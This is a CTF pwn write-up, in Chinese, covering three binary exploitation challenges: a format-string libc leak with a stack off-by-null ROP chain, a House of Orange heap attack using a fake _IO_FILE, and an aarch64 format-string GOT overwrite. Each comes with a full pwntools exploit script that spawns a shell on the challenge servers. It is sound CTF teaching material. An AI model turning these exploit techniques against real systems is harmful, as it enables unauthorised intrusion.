baby_stack

wait函数里面有个格式化字符串,多试几次能试出来offset=20时拿到libc

image-20240715112838945

image-20240715112847331

v2长度为256字节,此函数中的a1[256]会造成栈上的off by null

image-20240715112855280

布置的payload,rbp每次低字节为00

image-20240715112903110

可以用ret填,不过exp多打几次出了

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#coding:utf-8
from pwn import *
from tw11ty import *
#from ctypes import *

if __name__ == '__main__' :
# context.log_level = 'info'
IPort = '110.40.35.73 33750'
pwnfile = './pwn'
libc_name = '/ctf/work/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc.so.6'
# libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
libc = ELF(libc_name)

io = init(pwnfile, IPort, libc_name)
sla(b'Press enter to continue\n', b'')
sla(b'Pick a number: ', str(20))
# debug()
ru(b'Your magic number is: ')
libc_base = int(r(12), 16) - 0x401b40
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))

sla(b'How many bytes do you want to read (max 256)? ', str(256))
# sleep(1)

prdi = 0x000000000002164f + libc_base
ppr = 0x0000000000021b33 + libc_base

payload = cyclic(152) + p64(prdi) + p64(bin_sh) + p64(ppr) + p64(0)*2 + p64(system)
payload = payload.ljust(256, b'\x00')
# debug()
s(payload)

leak("libc_base", libc_base)

itr()

easy_heap

House of orange,不过show()函数只能打印8字节数据,构造两次orange,将两块相同size区间的large chunk链到一起

image-20240715112916443

然后申请出前一块大的chunk,就能得到残留的heap指针,然后就是背板子

image-20240715112927619

最后布置好的fake_IO_FILE结构体

image-20240715113709496

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#coding:utf-8
from pwn import *
from tw11ty import *
#from ctypes import *

def menu(num):
sla(b'>\n',str(num))
def add(size, content=b''):
menu(1)
sla(b'Size :\n',str(size))
sla(b'Content :\n', content)
def edit(idx, size, content=b'aaaa'):
menu(2)
sla(b'Index :\n', str(idx))
sla(b'Size :\n', str(size))
sa(b'Content :\n', content)
def show(idx):
menu(3)
sla(b'Index :\n', str(idx))

if __name__ == '__main__' :
# context.log_level = 'info'
IPort = '110.40.35.73 33679'
pwnfile = './pwn'
libc_name = '/ctf/work/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6'
# libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
libc = ELF(libc_name)

io = init(pwnfile, IPort, libc_name)

add(0xaf8) #0
edit(0, 0xb00 , b'a'*0xaf0 + p64(0) + p64(0x501))
# p()
add(0xb18) #1
# p()
edit(1, 0xb20 , b'a'*0xb10 + p64(0) + p64(0x4e1))
# p()
add(0xff0) #2
# p()
add(0xff0) #3
# debug()
# p()
add(0x4e0-8) #4
# p()
# debug()
show(4)
heap_addr = uu64(r(8)) - 0x21b0a

add(0x18) #5
show(5)
libc_base = uu64(r64()) - 0x3c4f0a
leak("libc_base", libc_base)

io_list_all = libc_base + libc.sym['_IO_list_all']
system = libc_base + libc.sym['system']

payload = p64(0) + p64(0) + b'/bin/sh\x00'+p64(0x61) + p64(io_list_all-0x10)+p64(io_list_all-0x10) + p64(0)+p64(1) + p64(0)*7 + p64(heap_addr+0x21b40) +p64(0)*13 + p64(heap_addr+0x21b40+0xd8) + p64(0)*2 + p64(system)
edit(5, 0x200, payload)

leak("heap_addr", heap_addr)
# debug('tele 0x004040E0 \n b*0x40157F ')
itr()

something_changed

aarch64的格式化字符串,远程是qemu起的(泄露几次发现栈地址固定),保护全关相当于是,而且这道题本身就没开FULL RELRO和pie。还给了backdoor

image-20240715112941715

直接用一次性格式化字符串来改__stack_chk_fail_got为backdoor就行了

image-20240715112949243

image-20240715112956706

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# coding = utf-8
from pwn import *
from tw11ty import *
#from ctypes import *

if __name__ == '__main__' :
# context.log_level = 'info'
context.arch = 'aarch64'
IPort = '120.79.91.95 3332'
# IPort = '127.0.0.1 12345'
pwnfile = './silent'
libc_name = './lib/libc.so.6'
elf = ELF(pwnfile)
libc = ELF(libc_name)

io = initc(pwnfile, IPort, 'qemu-aarch64 -L ./ -g 12345 ./silent')
# dbg("b *0x04007F4 \n b *0x000400854")
# dbg("b *0x000400854")

scf = elf.got['__stack_chk_fail'] #14
backdoor = 0x00400770
payload = b'%1883c%c' + b'%0c%0c%0c%0c%0c%0c%0c%c%c%c%c%c%c%c%c%c%c%caa%hn' + p64(scf)
sl(payload)
itr()
#canary %19$p